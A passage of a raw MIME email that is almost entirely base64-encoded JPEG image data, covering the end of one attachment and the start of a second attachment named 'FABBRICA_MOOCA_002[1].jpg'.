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 f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A 4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3 h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/ hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A 6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4 Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h/ /oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4 UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h/ /oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A6AWn/wDg Kn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH /wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+F FFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDo Baf/AOAqf4UUUAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR /wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+ gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hR RQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+ gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAq f4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/ AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UU UAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR/wAI94f/AOgF p/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/ AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6A Wn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFF AB/wj3h//oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6A Wn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/ hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A 6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQ Af8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUAH/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn /wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBaf/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8A CPeH/wDoBaf/AOAqf4UUUAH/AAj3h/8A6AWn/wDgKn+FH/CPeH/+gFp//gKn+FFFAB/wj3h//oBa f/4Cp/hR/wAI94f/AOgFp/8A4Cp/hRRQAf8ACPeH/wDoBaf/AOAqf4Uf8I94f/6AWn/+Aqf4UUUA H/CPeH/+gFp//gKn+FH/AAj3h/8A6AWn/wDgKn+FFFAB/wAI94f/AOgFp/8A4Cp/hR/wj3h//oBa f/4Cp/hRRQAf8I94f/6AWn/+Aqf4Uf8ACPeH/wDoBaf/AOAqf4UUUAb/AIM0TRrfXYJINIso3BGG S3RSPxAooooA/9k= ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA_MOOCA_002[1].jpg" Content-Transfer-Encoding: base64 Content-ID: <4B31303605F74107983A6CF9E1C3E5B2@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAHkAWwDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD9IViq ZY6VQMCn1qc4m3FLR9aeFXdVlMVfuilXrTV4WnBufagkVfu06mU5aBod+VLSLS0FBTlptFAD6KM8 UUAFFFFABRtT0oooAF/h+lI1LRQAyil2mkoAKKKKBMXbmjaaTd9aXPGKCRKXb9KFpcigBtFOJptA BRRRQAUUUUXAKKKKAG0U9vu0yoAKKKKsa2EbpTVXdmn7fpSZ28CgQwrz2pOlOpGoAjZP1rwX4D/H rxH48+HFh4k1Fm8+4Zg2foD/AFr3pmxXyD+ysqj4N6VhR95v/QVrOoaUz66Vh8tSUxV+XtTl5pmY p56U70ptOoAX+GkpSelJTQ0Ppy0wNT1qhvUeo7075aarfLRQCCiiigYq06mrTqACiikK96AFopFF LQK4UUnQUbqAuDU2nFqbQFwooooJvcKKKKACiiigaCiiigQUUUVABRRRVWAKKDxSbqYAfqab/FTm pKgApMilplUwD5qTdRuptJAOamlh+VHHWmnmquAxuelfIv7K/wDyRvSv95v/AEFa+uj8tfIv7K// ACRvSv8Aeb/0FazqM0pn1xH/ACqRTt96iVuKcuPU0zMkH86fjFMG2nbt1AC9KUcjOKTrTgP4aaAV cdakU8EYqLdjHSpF6mhsaFxiihvloX5qEUFFIO9KOaoBVp1MpwNAC0UUvHvQAi/1prfeNOpCM0E2 G+lFFFAWCiiigQUUUrUMBKKKKSQBRRRTAKa33qdScGpYBupfMb1ptFNMBdxP3qN1JRTAVm3UlFFK 4BRRTSx/hqQAt2pKT5vahic0ANpCaGpuc0ALTWPJozkc0nG2gBrP7V8j/sr/APJG9K/3m/8AQVr6 2k+UE+lfJP7K/wDyRvSv95v/AEFamRpTPrVW+WnKpxSRquOvSnbmqjMepx9ak3bqr1Ju2ke9AElS c/eqL1p26gB1PzTF+7TloAd+dHzLTWY0u73p2uNBT17VGWGKcCeKa0KFpVpKKYDm4xSZNJRQAoOK XdTaKACiiigAooooJsFFFFAlqFFFFDHYKKKKSdwasITSUUUmIPrTWNK1NpAFFFITVgO3UufpTabk 1AChuRSt3plLn1oAXe1IW3UcelN3UAJTWJXp0o3Ujn5aAG5NJRSfxUAJI3GK+Sv2V/8Akjelf7zf +grX1lJXyb+yv/yRvSv95v8A0FamasaUz6xaSGGMyyuEQDJYnAA9TTba7t76FbizuUmib+JG3DI9 xXy/8YPjhqHiaSbw94V3RWQ4ZlOGl+voPavPfD/xR8UeBr+3kTUrixWR1BRzuik9vy7UcyHyn3Up 6ZqrqmuaRotul1rGoQWsbnAaVsDOcVwvhH40eFPE1mrx6pGsyxl3jkwrBguT169K+YvF3xQ1jx54 juZru6820jkZIVLHaoyRjb+FHNYXLfQ+5beaO4jWaGRZI3GVZTww9RUlfIXgD9oHxl4Ohi03ULNN X0aIlEQjZPEo7Kf4h7V9CeB/jN4B8eKkemawltetjda3J8uUEdsdD+FNSTE4NHcyzwW8bzXEixxI u5mY4A/GktriC6jE1rcJPGRkMjZH5jrXyt8cvil4g1TxVeeC7WRoNNsJjE0cBx53ux71b+C3iDXL fxdp2j2+pTC0uXxNBnKlQDjg9KXNd2DkPqHeaXd9KReWoP3hV7CQtKGpPlop3GO3U7dUecA0/dup oB1FIDS0AFFFFABRRTlFACdaNuKdt20jUANooooAKKKKACiiigUtRtFLtpKTVyRGptK1JRYAprda Vjim0xvQKKKd/DUCGbqN1NyKMigBzcDpTCaC2aSgAprUrHFJnNACU1utOY9aZu+tNANk+7Xyb+yv /wAkb0r/AHm/9BWvrJj8p+tfJv7K/wDyRvSv95v/AEFamoaUzze3torWPYm5nJ+Z26tVq5jsrpre G8t4pCWDxeYuRuFRfeYKvXdmrMkz+dHbLG53r5iyBeExXGjpZBcaLaxq95ps89lPyWVTlCQOw7Vz Hhm6/taQztZy2jhJN29cA4OPzrp7b7dDJN9ouWuIsZQBQHU+/Y1i65rCraXFzbK6yRxFWVl2uvuK 13jqQlY4rUfiZqnhW8ayv9MeWBeElhb+Htn3q1YfFDw3rPln7V9kul+4xJjdT7MK5i21HQ9Ut/st /HIFLndKsm5j9R/hWJ4o8CxR6M95oQ+2MkmdsY+dV9SOtaqKSIbPZ9L1a8uNUa4k1A3cc3zLIW3k n/er234MX1jaeP8AS5r+6igj+cbpHAGSuAMn3r4u+EsOtSeJLeObUJoLONgJYs4J9PlNe5+OtWt/ 